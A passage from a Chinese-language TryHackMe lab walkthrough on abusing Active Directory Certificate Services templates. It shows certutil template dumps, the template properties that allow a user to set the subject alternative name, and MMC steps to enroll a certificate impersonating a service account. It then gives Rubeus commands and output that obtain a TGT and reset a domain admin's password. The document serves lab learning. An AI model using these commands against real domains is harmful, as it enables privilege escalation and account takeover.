  2279.     Certificate Template Name (Certificate Type)
  2280.         User
  2282.   Extension[1]:
  2283.     2.5.29.37: Flags = 0, Length = 22
  2284.     Enhanced Key Usage
  2285.         Encrypting File System (1.3.6.1.4.1.311.10.3.4)
  2286.         Secure Email (1.3.6.1.5.5.7.3.4)
  2287.         Client Authentication (1.3.6.1.5.5.7.3.2)
  2289.   Extension[2]:
  2290.     2.5.29.15: Flags = 1(Critical), Length = 4
  2291.     Key Usage
  2292.         Digital Signature, Key Encipherment (a0)
  2294.   TemplatePropValidityPeriod = 1 Years
  2295.   TemplatePropRenewalPeriod = 6 Weeks
  2297.   Template[31]:
  2298.   TemplatePropCommonName = UserRequest
  2299.   TemplatePropFriendlyName = User Request
  2300.   TemplatePropEKUs =
  2301. 3 ObjectIds:
  2302.     1.3.6.1.5.5.7.3.2 Client Authentication
  2303.     1.3.6.1.5.5.7.3.4 Secure Email
  2304.     1.3.6.1.4.1.311.10.3.4 Encrypting File System
  2306.   TemplatePropCryptoProviders =
  2307.     0: Microsoft Enhanced Cryptographic Provider v1.0
  2309.   TemplatePropMajorRevision = 64 (100)
  2310.   TemplatePropDescription = User
  2311.   TemplatePropSchemaVersion = 2
  2312.   TemplatePropMinorRevision = a (10)
  2313.   TemplatePropRASignatureCount = 0
  2314.   TemplatePropMinimumKeySize = 800 (2048)
  2315.   TemplatePropOID =
  2316.     1.3.6.1.4.1.311.21.8.13251815.15344444.12602244.3735211.11040971.202.13950390.3651808 User Request
  2318.   TemplatePropV1ApplicationPolicy =
  2319. 3 ObjectIds:
  2320.     1.3.6.1.5.5.7.3.2 Client Authentication
  2321.     1.3.6.1.5.5.7.3.4 Secure Email
  2322.     1.3.6.1.4.1.311.10.3.4 Encrypting File System
  2324.   TemplatePropEnrollmentFlags = 19 (25)
  2325.     CT_FLAG_INCLUDE_SYMMETRIC_ALGORITHMS -- 1
  2326.     CT_FLAG_PUBLISH_TO_DS -- 8
  2327.     CT_FLAG_AUTO_ENROLLMENT_CHECK_USER_DS_CERTIFICATE -- 10 (16)
  2329.   TemplatePropSubjectNameFlags = 1
  2330.     CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT -- 1
  2332.   TemplatePropPrivateKeyFlags = 1010010 (16842768)
  2333.     CTPRIVATEKEY_FLAG_EXPORTABLE_KEY -- 10 (16)
  2334.     CTPRIVATEKEY_FLAG_ATTEST_NONE -- 0
  2335.     TEMPLATE_SERVER_VER_2003<<CTPRIVATEKEY_FLAG_SERVERVERSION_SHIFT -- 10000 (65536)
  2336.     TEMPLATE_CLIENT_VER_XP<<CTPRIVATEKEY_FLAG_CLIENTVERSION_SHIFT -- 1000000 (16777216)
  2338.   TemplatePropGeneralFlags = 2023a (131642)
  2339.     CT_FLAG_ADD_EMAIL -- 2
  2340.     CT_FLAG_PUBLISH_TO_DS -- 8
  2341.     CT_FLAG_EXPORTABLE_KEY -- 10 (16)
  2342.     CT_FLAG_AUTO_ENROLLMENT -- 20 (32)
  2343.     CT_FLAG_ADD_TEMPLATE_NAME -- 200 (512)
  2344.     CT_FLAG_IS_MODIFIED -- 20000 (131072)
  2346.   TemplatePropSecurityDescriptor = O:LAG:S-1-5-21-3330634377-1326264276-632209373-519D:PAI(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;DA)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;DU)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;S-1-5-21-3330634377-1326264276-632209373-519)(OA;;CR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;AU)(OA;;CR;a05b8cc2-17bc-4802-a710-e7c15ab866a2;;AU)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;DA)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;LA)(A;;LCRPLORC;;;AU)
  2348.     Allow Enroll    LUNAR\Domain Admins
  2349.     Allow Enroll    LUNAR\Domain Users
  2350.     Allow Enroll    LUNAR\Enterprise Admins
  2351.     Allow Enroll    NT AUTHORITY\Authenticated Users
  2352.     Allow Auto-Enroll    NT AUTHORITY\Authenticated Users
  2353.     Allow Full Control    LUNAR\Domain Admins
  2354.     Allow Full Control    LUNAR\Enterprise Admins
  2355.     Allow Full Control    LUNAR\Administrator
  2356.     Allow Read    NT AUTHORITY\Authenticated Users
  2359.   TemplatePropExtensions =
  2360. 4 Extensions:
  2362.   Extension[0]:
  2363.     1.3.6.1.4.1.311.21.7: Flags = 0, Length = 31
  2364.     Certificate Template Information
  2365.         Template=User Request(1.3.6.1.4.1.311.21.8.13251815.15344444.12602244.3735211.11040971.202.13950390.3651808)
  2366.         Major Version Number=100
  2367.         Minor Version Number=10
  2369.   Extension[1]:
  2370.     2.5.29.37: Flags = 0, Length = 22
  2371.     Enhanced Key Usage
  2372.         Client Authentication (1.3.6.1.5.5.7.3.2)
  2373.         Secure Email (1.3.6.1.5.5.7.3.4)
  2374.         Encrypting File System (1.3.6.1.4.1.311.10.3.4)
  2376.   Extension[2]:
  2377.     2.5.29.15: Flags = 1(Critical), Length = 4
  2378.     Key Usage
  2379.         Digital Signature, Key Encipherment (a0)
  2381.   Extension[3]:
  2382.     1.3.6.1.4.1.311.21.10: Flags = 0, Length = 28
  2383.     Application Policies
  2384.         [1]Application Certificate Policy:
  2385.              Policy Identifier=Client Authentication
  2386.         [2]Application Certificate Policy:
  2387.              Policy Identifier=Secure Email
  2388.         [3]Application Certificate Policy:
  2389.              Policy Identifier=Encrypting File System
  2391.   TemplatePropValidityPeriod = 1 Years
  2392.   TemplatePropRenewalPeriod = 6 Weeks
  2394.   Template[32]:
  2395.   TemplatePropCommonName = UserSignature
  2396.   TemplatePropFriendlyName = User Signature Only
  2397.   TemplatePropEKUs =
  2398. 2 ObjectIds:
  2399.     1.3.6.1.5.5.7.3.4 Secure Email
  2400.     1.3.6.1.5.5.7.3.2 Client Authentication
  2402.   TemplatePropCryptoProviders =
  2403.     0: Microsoft Enhanced Cryptographic Provider v1.0
  2404.     1: Microsoft Base Cryptographic Provider v1.0
  2405.     2: Microsoft Base DSS Cryptographic Provider
  2407.   TemplatePropMajorRevision = 4
  2408.   TemplatePropDescription = User
  2409.   TemplatePropSchemaVersion = 1
  2410.   TemplatePropMinorRevision = 1
  2411.   TemplatePropRASignatureCount = 0
  2412.   TemplatePropMinimumKeySize = 800 (2048)
  2413.   TemplatePropOID =
  2414.     1.3.6.1.4.1.311.21.8.13251815.15344444.12602244.3735211.11040971.202.1.2
  2416.   TemplatePropEnrollmentFlags = 20 (32)
  2417.     CT_FLAG_AUTO_ENROLLMENT -- 20 (32)
  2419.   TemplatePropSubjectNameFlags = a6000000 (-1509949440)
  2420.     CT_FLAG_SUBJECT_ALT_REQUIRE_UPN -- 2000000 (33554432)
  2421.     CT_FLAG_SUBJECT_ALT_REQUIRE_EMAIL -- 4000000 (67108864)
  2422.     CT_FLAG_SUBJECT_REQUIRE_EMAIL -- 20000000 (536870912)
  2423.     CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH -- 80000000 (-2147483648)
  2425.   TemplatePropPrivateKeyFlags = 0
  2426.     CTPRIVATEKEY_FLAG_ATTEST_NONE -- 0
  2427.     TEMPLATE_SERVER_VER_NONE<<CTPRIVATEKEY_FLAG_SERVERVERSION_SHIFT -- 0
  2428.     TEMPLATE_CLIENT_VER_NONE<<CTPRIVATEKEY_FLAG_CLIENTVERSION_SHIFT -- 0
  2430.   TemplatePropGeneralFlags = 10222 (66082)
  2431.     CT_FLAG_ADD_EMAIL -- 2
  2432.     CT_FLAG_AUTO_ENROLLMENT -- 20 (32)
  2433.     CT_FLAG_ADD_TEMPLATE_NAME -- 200 (512)
  2434.     CT_FLAG_IS_DEFAULT -- 10000 (65536)
  2436.   TemplatePropSecurityDescriptor = O:S-1-5-21-3330634377-1326264276-632209373-519G:S-1-5-21-3330634377-1326264276-632209373-519D:PAI(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;DA)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;DU)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;DA)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;LCRPLORC;;;AU)
  2438.     Allow Enroll    LUNAR\Domain Admins
  2439.     Allow Enroll    LUNAR\Domain Users
  2440.     Allow Enroll    LUNAR\Enterprise Admins
  2441.     Allow Full Control    LUNAR\Domain Admins
  2442.     Allow Full Control    LUNAR\Enterprise Admins
  2443.     Allow Read    NT AUTHORITY\Authenticated Users
  2446.   TemplatePropExtensions =
  2447. 3 Extensions:
  2449.   Extension[0]:
  2450.     1.3.6.1.4.1.311.20.2: Flags = 0, Length = 1c
  2451.     Certificate Template Name (Certificate Type)
  2452.         UserSignature
  2454.   Extension[1]:
  2455.     2.5.29.37: Flags = 0, Length = 16
  2456.     Enhanced Key Usage
  2457.         Secure Email (1.3.6.1.5.5.7.3.4)
  2458.         Client Authentication (1.3.6.1.5.5.7.3.2)
  2460.   Extension[2]:
  2461.     2.5.29.15: Flags = 1(Critical), Length = 4
  2462.     Key Usage
  2463.         Digital Signature (80)
  2465.   TemplatePropValidityPeriod = 1 Years
  2466.   TemplatePropRenewalPeriod = 6 Weeks
  2468.   Template[33]:
  2469.   TemplatePropCommonName = WebServer
  2470.   TemplatePropFriendlyName = Web Server
  2471.   TemplatePropEKUs =
  2472. 1 ObjectIds:
  2473.     1.3.6.1.5.5.7.3.1 Server Authentication
  2475.   TemplatePropCryptoProviders =
  2476.     0: Microsoft RSA SChannel Cryptographic Provider
  2477.     1: Microsoft DH SChannel Cryptographic Provider
  2479.   TemplatePropMajorRevision = 4
  2480.   TemplatePropDescription = Computer
  2481.   TemplatePropSchemaVersion = 1
  2482.   TemplatePropMinorRevision = 1
  2483.   TemplatePropRASignatureCount = 0
  2484.   TemplatePropMinimumKeySize = 800 (2048)
  2485.   TemplatePropOID =
  2486.     1.3.6.1.4.1.311.21.8.13251815.15344444.12602244.3735211.11040971.202.1.16
  2488.   TemplatePropEnrollmentFlags = 0
  2490.   TemplatePropSubjectNameFlags = 1
  2491.     CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT -- 1
  2493.   TemplatePropPrivateKeyFlags = 0
  2494.     CTPRIVATEKEY_FLAG_ATTEST_NONE -- 0
  2495.     TEMPLATE_SERVER_VER_NONE<<CTPRIVATEKEY_FLAG_SERVERVERSION_SHIFT -- 0
  2496.     TEMPLATE_CLIENT_VER_NONE<<CTPRIVATEKEY_FLAG_CLIENTVERSION_SHIFT -- 0
  2498.   TemplatePropGeneralFlags = 10241 (66113)
  2499.     CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT -- 1
  2500.     CT_FLAG_MACHINE_TYPE -- 40 (64)
  2501.     CT_FLAG_ADD_TEMPLATE_NAME -- 200 (512)
  2502.     CT_FLAG_IS_DEFAULT -- 10000 (65536)
  2504.   TemplatePropSecurityDescriptor = O:S-1-5-21-3330634377-1326264276-632209373-519G:S-1-5-21-3330634377-1326264276-632209373-519D:PAI(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;DA)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;DA)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;LCRPLORC;;;AU)
  2506.     Allow Enroll    LUNAR\Domain Admins
  2507.     Allow Enroll    LUNAR\Enterprise Admins
  2508.     Allow Full Control    LUNAR\Domain Admins
  2509.     Allow Full Control    LUNAR\Enterprise Admins
  2510.     Allow Read    NT AUTHORITY\Authenticated Users
  2513.   TemplatePropExtensions =
  2514. 3 Extensions:
  2516.   Extension[0]:
  2517.     1.3.6.1.4.1.311.20.2: Flags = 0, Length = 14
  2518.     Certificate Template Name (Certificate Type)
  2519.         WebServer
  2521.   Extension[1]:
  2522.     2.5.29.37: Flags = 0, Length = c
  2523.     Enhanced Key Usage
  2524.         Server Authentication (1.3.6.1.5.5.7.3.1)
  2526.   Extension[2]:
  2527.     2.5.29.15: Flags = 1(Critical), Length = 4
  2528.     Key Usage
  2529.         Digital Signature, Key Encipherment (a0)
  2531.   TemplatePropValidityPeriod = 2 Years
  2532.   TemplatePropRenewalPeriod = 6 Weeks
  2534.   Template[34]:
  2535.   TemplatePropCommonName = Workstation
  2536.   TemplatePropFriendlyName = Workstation Authentication
  2537.   TemplatePropEKUs =
  2538. 1 ObjectIds:
  2539.     1.3.6.1.5.5.7.3.2 Client Authentication
  2541.   TemplatePropCryptoProviders =
  2542.     0: Microsoft RSA SChannel Cryptographic Provider
  2544.   TemplatePropMajorRevision = 65 (101)
  2545.   TemplatePropDescription = Computer
  2546.   TemplatePropSchemaVersion = 2
  2547.   TemplatePropMinorRevision = 0
  2548.   TemplatePropRASignatureCount = 0
  2549.   TemplatePropMinimumKeySize = 800 (2048)
  2550.   TemplatePropOID =
  2551.     1.3.6.1.4.1.311.21.8.13251815.15344444.12602244.3735211.11040971.202.1.30 Workstation Authentication
  2553.   TemplatePropV1ApplicationPolicy =
  2554. 1 ObjectIds:
  2555.     1.3.6.1.5.5.7.3.2 Client Authentication
  2557.   TemplatePropEnrollmentFlags = 20 (32)
  2558.     CT_FLAG_AUTO_ENROLLMENT -- 20 (32)
  2560.   TemplatePropSubjectNameFlags = 8000000 (134217728)
  2561.     CT_FLAG_SUBJECT_ALT_REQUIRE_DNS -- 8000000 (134217728)
  2563.   TemplatePropPrivateKeyFlags = 0
  2564.     CTPRIVATEKEY_FLAG_ATTEST_NONE -- 0
  2565.     TEMPLATE_SERVER_VER_NONE<<CTPRIVATEKEY_FLAG_SERVERVERSION_SHIFT -- 0
  2566.     TEMPLATE_CLIENT_VER_NONE<<CTPRIVATEKEY_FLAG_CLIENTVERSION_SHIFT -- 0
  2568.   TemplatePropGeneralFlags = 10260 (66144)
  2569.     CT_FLAG_AUTO_ENROLLMENT -- 20 (32)
  2570.     CT_FLAG_MACHINE_TYPE -- 40 (64)
  2571.     CT_FLAG_ADD_TEMPLATE_NAME -- 200 (512)
  2572.     CT_FLAG_IS_DEFAULT -- 10000 (65536)
  2574.   TemplatePropSecurityDescriptor = O:S-1-5-21-3330634377-1326264276-632209373-519G:S-1-5-21-3330634377-1326264276-632209373-519D:PAI(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;DA)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;DC)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;DA)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;LCRPLORC;;;AU)
  2576.     Allow Enroll    LUNAR\Domain Admins
  2577.     Allow Enroll    LUNAR\Domain Computers
  2578.     Allow Enroll    LUNAR\Enterprise Admins
  2579.     Allow Full Control    LUNAR\Domain Admins
  2580.     Allow Full Control    LUNAR\Enterprise Admins
  2581.     Allow Read    NT AUTHORITY\Authenticated Users
  2584.   TemplatePropExtensions =
  2585. 4 Extensions:
  2587.   Extension[0]:
  2588.     1.3.6.1.4.1.311.21.7: Flags = 0, Length = 2b
  2589.     Certificate Template Information
  2590.         Template=Workstation Authentication(1.3.6.1.4.1.311.21.8.13251815.15344444.12602244.3735211.11040971.202.1.30)
  2591.         Major Version Number=101
  2592.         Minor Version Number=0
  2594.   Extension[1]:
  2595.     2.5.29.37: Flags = 0, Length = c
  2596.     Enhanced Key Usage
  2597.         Client Authentication (1.3.6.1.5.5.7.3.2)
  2599.   Extension[2]:
  2600.     2.5.29.15: Flags = 1(Critical), Length = 4
  2601.     Key Usage
  2602.         Digital Signature, Key Encipherment (a0)
  2604.   Extension[3]:
  2605.     1.3.6.1.4.1.311.21.10: Flags = 0, Length = e
  2606.     Application Policies
  2607.         [1]Application Certificate Policy:
  2608.              Policy Identifier=Client Authentication
  2610.   TemplatePropValidityPeriod = 1 Years
  2611.   TemplatePropRenewalPeriod = 6 Weeks
  2612. CertUtil: -Template command completed successfully.

在每个输出中，每个模板都是使用 Template[X]标识模板

:::color3 我们要选择的特殊模板应该具有以下特性：

  • 我们需要拥有请求证书的相关请求和拥有这些权限的账户的模板
  • 允许客户端身份验证的模板，这意味这我们可以将其应用于 Kerberos 身份验证
  • 允许我们更改 SAN 的模板

:::

:::info

  • Client Authentication - 该证书可用于客户认证
  • CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT - 证书模板允许我们指定主题替代名称（SAN
  • CTPRIVATEKEY_FLAG_EXPORTABLE_KEY - 该证书将可与私钥一起导出
  • Certificate Permissions - 我们有使用证书模板的必要权限

:::

参数一： **Relevant Permissions**

我们需要具有 **<font style="color:#DF2A3F;">生成证书</font>**请求的权限才能使漏洞发挥作用，我们需要寻找具有 Allow Enroll__ or Allow Full Control 的权限。

参数二：Client Authentication

一旦我们找到允许我们请求的证书模板，下一步就是寻找具有 Client Authentication __EKU ,此 EKU 意味着该证书可用于 Kerberos 身份验证。 参数三： Client Specifies SAN 最后我们需要验证模板是否运行 <font style="color:rgb(33, 37, 41);">证书客户端</font>指定 SAN， SAN 通常类似于我们要加密的网站 URL，例如： tryhackme.com ， 但是，如果我们有能力控制 SAN，我们就可以利用证书为我们选择的任何AD帐户实际生成 kerberos 票证！ 我们需要寻找具有 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT — 1 :::danger 当我们找到具有这三个参数的证书模板我们就可以开始攻击 ::: ## 生成恶意证书 我们使用 WIN+R打开 Microsoft 管理控制台。通过在运行窗口中键入mmc来加载控制台：

AD CS - 图8

这将调出 MMC 窗口。在此窗口中，单击 File -> Add/Remove Snap-in… AD CS - 图9 在此窗口中，我们需要添加证书管理单元：

AD CS - 图10

如果您具有管理权限，它会直接添加管理单元，但您会看到下一个提示：

AD CS - 图11

然后我们展开Certificates选项，右键单击Personal，选择All Tasks，然后单击Request New Certificate：

AD CS - 图12

对于第一个选项，只需选择Next两次，因为我们使用的是默认 CA，您应该会看到以下显示可用模板的屏幕：

AD CS - 图13

从屏幕上可以看出，我们需要先完成证书的信息，然后才能注册。单击“注册此证书需要更多信息”。链接以启动该过程：

AD CS - 图14

对于此示例，我们将模拟此域中的一位 DA 用户。让我们以svc.gitlab帐户为目标，因为它是一个服务帐户，这意味着可能需要从该帐户进行 Kerberos 身份验证。这个账户的 UPN 是svc.gitlab@lunar.eruca.com。使用此信息，我们可以完成证书属性。 首先，我们将Subject name Type 更改为Common Name并为该证书提供我们想要的名称。然后，我们将替代名称类型更改为用户主体名称，并提供我们要模拟的帐户的 UPN。这些值应如下所示：

AD CS - 图15

然后我们可以将这些属性添加到我们的证书中：

AD CS - 图16

当我们单击确定时，我们现在将看到我们被允许注册此证书：

AD CS - 图17

完成证书的注册。注册后，您将能够在您的个人证书下查看证书：

AD CS - 图18

如果我们查看证书的详细信息，您会看到 SAN 现在指定了我们要模拟的 UPN，绝对不是我们 Web 服务器的 SAN！

AD CS - 图19

现在我们就生成了一个证书，最后一步是实际导出证书以准备使用。右键单击证书，选择所有任务，然后选择导出：

AD CS - 图20

按照提示进行操作，但也要确保导出私钥：

AD CS - 图21

证书应为 pfx 格式。此外，为证书配置密码以确保导出私钥：

AD CS - 图22

选择文件名并导出证书：

AD CS - 图23

通过证书模拟账户

现在我们就可以模拟用户了

我们将使用 Rubeus来请求 TGT :

 C:\THMTools> .\Rubeus.exe asktgt /user:svc.gitlab /enctype:aes256 /certificate:vulncert.pfx /password:tryhackme /outfile:svc.gitlab.kirbi /domain:lunar.eruca.com /dc:10.10.69.219         _

_____        _
         (_____ \      | |
          _____) )_   _| |__  _____ _   _  ___
         |  __  /| | | |  _ \| ___ | | | |/___)
         | |  \ \| |_| | |_) ) ____| |_| |___ |
         |_|   |_|____/|____/|_____)____/(___/

         v2.0.0

       [*] Action: Ask TGT

       [*] Using PKINIT with etype aes256_cts_hmac_sha1 and subject: CN=vulncert
       [*] Building AS-REQ (w/ PKINIT preauth) for: 'lunar.eruca.com\svc.gitlab'
       [+] TGT request successful!
       [*] base64(ticket.kirbi):

             doIGADCCBfygAwIBBaEDAgEWooIE+jCCBPZhggTyMIIE7qADAgEFoREbD0xVTkFSLkVSVUNBLkNPTaIk
             MCKgAwIBAqEbMBkbBmtyYnRndBsPbHVuYXIuZXJ1Y2EuY29to4IErDCCBKigAwIBEqEDAgECooIEmgSC
             BJaqEcIY2IcGQKFNgPbDVY0ZXsEdeJAmAL2ARoESt1XvdKC5Y94GECr+FoxztaW2DVmTpou8g116F6mZ
             nSHYrZXEJc5Z84qMGEzEpa38zLGEdSyqIFL9/avtTHqBeqpR4kzY2B/ekqhkUvdb5jqapIK4MkKMd4D/
             MHLr5jqTv6Ze2nwTMAcImRpxE5HSxFKO7efZcz2glEk2mQptLtUq+kdFEhDozHMAuF/wAvCXiQEO8NkD
             zeyabnPAtE3Vca6vfmzVTJnLUKMIuYOi+7DgDHgBVbuXqorphZNl4L6o5NmviXNMYazDybaxKRvzwrSr
             2Ud1MYmJcIsL3DMBa4bxR57Eb5FhOVD29xM+X+lswtWhUO9mUrVyEuHtfV7DUxA94OvX1QmCcas4LXQW
             ggOit/DCJdeyE8JjikZcR1yL4u7g+vwD+SLkusCZE08XDj6lopupt2Hl8j2QLR2ImOJjq54scOllW4lM
             Qek4yqKwP6p0oo4ICxusM8cPwPUxVcYdTCh+BczRTbpoKiFnI+0qOZDtgaJZ/neRdRktYhTsGL39VHB5
             i+kOk3CkcstLfdAP1ck4O+NywDMUK+PhGJM/7ykFe2zICIMaGYGnUDRrad3z8dpQWGPyTBgTvemwS3wW
             NuPbQFFaoyiDiJyXPh+VqivhTUX9st80ZJZWzpE7P1pTNPGq38/6NyLjiE9srbOt6hCLzUaOSMGH1Enf
             SYmNljeW2R0gsFWBaFt16AHfT9G9Et2nOCJn/D/OFePFyR4uJF44p82CmVlBhzOxnCaGtQM2v9lwBqQF
             CcVLjxGXqKrPUr1RUGthP861jhMoXD4jBJ/Q32CkgVdlJRMweqcIfNqP/4mEjbUN5qjNqejYdUb/b5xw
             S794AkaKHcLFvukd41VTm87VvDOp6mM5lID/PLtTCPUZ0zrEb01SNiCdB5IAfnV23vmqsOocis4uZklG
             CNdI1/lsICpS/jaK6NM/0oKehMg+h4VAFLx4HnTSY4ugbrkdxU948qxPEfok/P6umEuny7yTDQFoCUKk
             RuLXbtwwplYTGBDLfzwhcNX8kc/GGLbH9+B8zRXxhd3TGQ7ZT03r798AjobKx024ozt6g4gjS5k/yIT+
             f29XrPzc+UODunO2Qv8JM5NAE3L6ryHp/DdgTaXGBRccgQBeQERNz6wxkdVK6SB7juOjU5JoZ5ZfmTuO
             hQ5hnboH1GvMy4+zeU2P7foWEJE76i9uZMbjUilbWRERYUL/ZjjXQBVWBaxoAdFIoawAzSXUZniNavnS
             n22qqgbd79Zj+lRavAb7Wlk5Gul4G6LMkh2MIJ4JOnrV0JV1yOhoqZ5V6KX/2r7ecyrVZIf2Qf0+ci9G
             vboJiLvWKgXkx7VaKbcLhO743BNYyq57nPNvWhVt3jbFmEq4nTdNou6hQHG4O5hVMhBKGgTwYz3yFPOP
             iuxroniQawSUJbmwObxVeoculPhxEJ69MSgKROTXrKrQAJ84D5QJHQYZus6w+LtodZn1//ZLhgILeFsY
             5K6d4ot2eqEr/A4Vu+wFjGjw87FTvHVcf8HdtGhqkawtPOrzo4HxMIHuoAMCAQCigeYEgeN9geAwgd2g
             gdowgdcwgdSgKzApoAMCARKhIgQgQr+FUX+/G2jHgAR2ssW11+lhaPlB6dMD8V5/rENwJVWhERsPTFVO
             QVIuRVJVQ0EuQ09NohcwFaADAgEBoQ4wDBsKc3ZjLmdpdGxhYqMHAwUAQOEAAKURGA8yMDIyMDIwNjE3
             NTQ0NlqmERgPMjAyMjAyMDcwMzU0NDZapxEYDzIwMjIwMjEzMTc1NDQ2WqgRGw9MVU5BUi5FUlVDQS5D
             T02pJDAioAMCAQKhGzAZGwZrcmJ0Z3QbD2x1bmFyLmVydWNhLmNvbQ=

         ServiceName              :  krbtgt/lunar.eruca.com
         ServiceRealm             :  LUNAR.ERUCA.COM
         UserName                 :  svc.gitlab
         UserRealm                :  LUNAR.ERUCA.COM
         StartTime                :  2/6/2022 5:54:46 PM
         EndTime                  :  2/7/2022 3:54:46 AM
         RenewTill                :  2/13/2022 5:54:46 PM
         Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
         KeyType                  :  aes256_cts_hmac_sha1
         Base64(key)              :  Qr+FUX+/G2jHgAR2ssW11+lhaPlB6dMD8V5/rENwJVU=
         ASREP (key)              :  BF2483247FA4CB89DA0417DFEC7FC57C79170BAB55497E0C45F19D976FD617ED
我们现在需要使用此TGT来获得访问权限。我们再次使用 <font style="color:rgb(33, 37, 41);">Rubeus</font>,我们将使用此票证来修改以为域管理员密码： 
C:\THMTools> .\Rubeus.exe changepw /ticket:svc.gitlab.kirbi /new:Tryhackme! /dc:LUNDC.lunar.eruca.com /targetuser:lunar.eruca.com\da-nread
           ______        _
          (_____ \      | |
           _____) )_   _| |__  _____ _   _  ___
          |  __  /| | | |  _ \| ___ | | | |/___)
          | |  \ \| |_| | |_) ) ____| |_| |___ |
          |_|   |_|____/|____/|_____)____/(___/

          v2.0.0

        [*] Action: Reset User Password (AoratoPw)

        [*] Using domain controller: LUNDC.lunar.eruca.com (10.10.69.219)
        [*] Resetting password for target user: lunar.eruca.com\da-nread
        [*] New password value: Tryhackme!
        [*] Building AP-REQ for the MS Kpassword request
        [*] Building Authenticator with encryption key type: aes256_cts_hmac_sha1
        [*] base64(session subkey): UP+L2OgmJ281TkkXYNKR0ahLJni1fIk/XMBFwwNTP7Q=
        [*] Building the KRV-PRIV structure
        [+] Password change success!

然后我们可以打开一个 cmd.exe 打开一个命令窗口：

C:\THMTools>runas /user:lunar.eruca.com\da-nread cmd.exe
Enter the password for lunar.eruca.com\da-nread: Tryhackme!
Attempting to start cmd.exe as user "lunar.eruca.com\da-nread" ...

工具

我们可以使用下面这个工具协助操作：

GitHub - GhostPack/PSPKIAudit: PowerShell toolkit for AD CS auditing based on the PSPKI toolkit.

参考

TryHackMe | AD Certificate Templates